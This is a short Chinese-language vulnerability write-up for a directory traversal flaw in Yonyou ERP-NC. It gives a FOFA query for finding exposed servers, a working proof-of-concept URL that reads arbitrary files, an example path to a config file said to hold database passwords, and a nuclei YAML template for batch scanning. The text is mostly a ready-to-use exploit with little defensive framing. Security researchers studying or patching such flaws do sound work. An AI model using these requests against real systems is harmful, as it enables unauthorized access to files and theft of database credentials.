用友ERP-NC目录遍历漏洞

漏洞描述

用友ERP-NC 存在目录遍历漏洞，攻击者可以通过目录遍历获取敏感文件信息。

漏洞复现

fofa语法：app="用友-UFIDA-NC"
用友ERP-NC页面如下：

POC：
/NCFindWeb?service=IPreAlertConfigService&filename=

在 filename 后面加文件名即可读取文件，此处读取 WEB-INF/web.xml 文件：

http://vul/NCFindWeb?service=IPreAlertConfigService&filename=../../ierp/bin/prop.xml 可以读取到数据库密码

nuclei批量yaml文件

id: erp-nc-directory-traversal

info:
  name: ERP-NC - Local File Inclusion
  author: pikpikcu
  severity: high
  description: ERP-NC is vulnerable to local file inclusion.
  reference:
    - https://mp.weixin.qq.com/s/wH5luLISE_G381W2ssv93g
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cwe-id: CWE-22
  tags: lfi,erp-nc
  metadata:
    max-request: 1

http:
  - method: GET
    path:
      - "{{BaseURL}}/NCFindWeb?service=IPreAlertConfigService&filename="

    matchers-condition: and
    matchers:
      - type: word
        words:
          - "Client"
          - "ncwslogin.jsp"
          - "admin.jsp"
        part: body
        condition: and

      - type: status
        status:
          - 200